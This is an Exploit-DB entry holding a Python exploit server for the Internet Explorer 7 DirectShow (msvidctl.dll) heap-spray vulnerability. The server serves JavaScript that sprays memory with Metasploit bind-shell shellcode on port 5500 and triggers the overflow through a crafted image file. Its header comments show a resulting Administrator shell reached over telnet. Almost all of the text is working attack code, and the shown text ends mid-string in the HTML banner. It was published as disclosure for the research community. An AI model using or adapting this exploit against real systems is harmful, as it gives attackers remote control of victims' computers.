Exploit-DB #9108
Description: Microsoft Internet Explorer 7 Video - ActiveX Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-07-10
Author: David Kennedy (ReL1K)

Exploit:
#!/usr/bin/env python
######################################################################################
# MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray  (Advisory 972890)     #				 		 				 				    
######################################################################################
#									             #
# Written by SecureState R&D Team 	                                             #
# Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin              #
# http://www.securestate.com				 		             #
#									             #
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind        #
#									             #
######################################################################################
# Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7                             # 
######################################################################################
#										     #
# This exploit is publicly being exploited in the wild, opted to release this	     #
# to the research community. Microsoft is aware of the vulnerability.		     #
#										     #
######################################################################################
#										     #
# [-] Exploit sent... [-]							     #
# [-] Wait about 30 seconds and attempt to connect.[-]				     #
# [-] Connect to IP Address: 10.211.55.140 and port 5500 [-]		             #
#										     #
# relik@sslinuxvm1:~$ telnet 10.211.55.140 5500					     #
# Trying 10.211.55.140...							     #
# Connected to 10.211.55.140.							     #
# Escape character is '^]'.							     #
# Microsoft Windows [Version 5.2.3790]						     #
# (C) Copyright 1985-2003 Microsoft Corp.					     #
#									             #
# C:\Documents and Settings\Administrator\Desktop>				     #
#										     #
#										     #
# NOTE: The javascript code is not obfuscated in anyway, normal A/V should pick this #
# up. This is intentional.							     #
#										     #
# Improved reliability, appears to be about 95 percent of the time. Adjusted the     #
# spray size a bit.								     #
#										     #
######################################################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys,binascii
try:
  import psyco
  psyco.full()
except ImportError:
   pass
class myRequestHandler(BaseHTTPRequestHandler):
 try:
  def do_GET(self):
    # Always Accept GET
    self.printCustomHTTPResponse(200)
    # trigger the overflow *boom*
    if self.path == "/ohn0es.jpg":
       unhex=binascii.unhexlify("[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000000ffffffff0c0c0c0c00")
       self.wfile.write(unhex)
    if self.path == "/":
        target=self.client_address[0]
        self.wfile.write("""<html><head>""")
        self.wfile.write("""
        <script language="JavaScript" defer>
        function Check() {
        //  win32_bind -  EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */
        var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3");
        var bigblock = unescape("%u9090%u9090");
	var headersize = 20;
	var slackspace = headersize + shellcode.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
        // Original spray size below, use if you want exploit to load faster with higher crash rate.
        // while (block.length + slackspace < 0x40000) block = block + block + fillblock;
	while (block.length + slackspace < 0x70000) block = block + block + fillblock;
	var memory = new Array();
	for (i = 0; i < 350; i++){ memory[i] = block + shellcode}
	var myObject=document.createElement('object');
	DivID.appendChild(myObject);
	myObject.width='1';
	myObject.height='1';
	myObject.data='./ohn0es.jpg';
	// Vulnerable ID
	myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';		
	} 
        </script>
        </head>
        <body onload="Check();">
        <div id="DivID">""")
        self.wfile.write("""<title>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890)</title></head><body>""")
        self.wfile.write("""<left><body bgcolor="Black"><font color="White">
                ###############################################################################
		<br>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray  (Advisory 972890)     
		<br>Written by SecureState R&D Team                                                    
		<br>Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin              
		<br>http://www.securestate.com                                                         
		<br>win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=Shik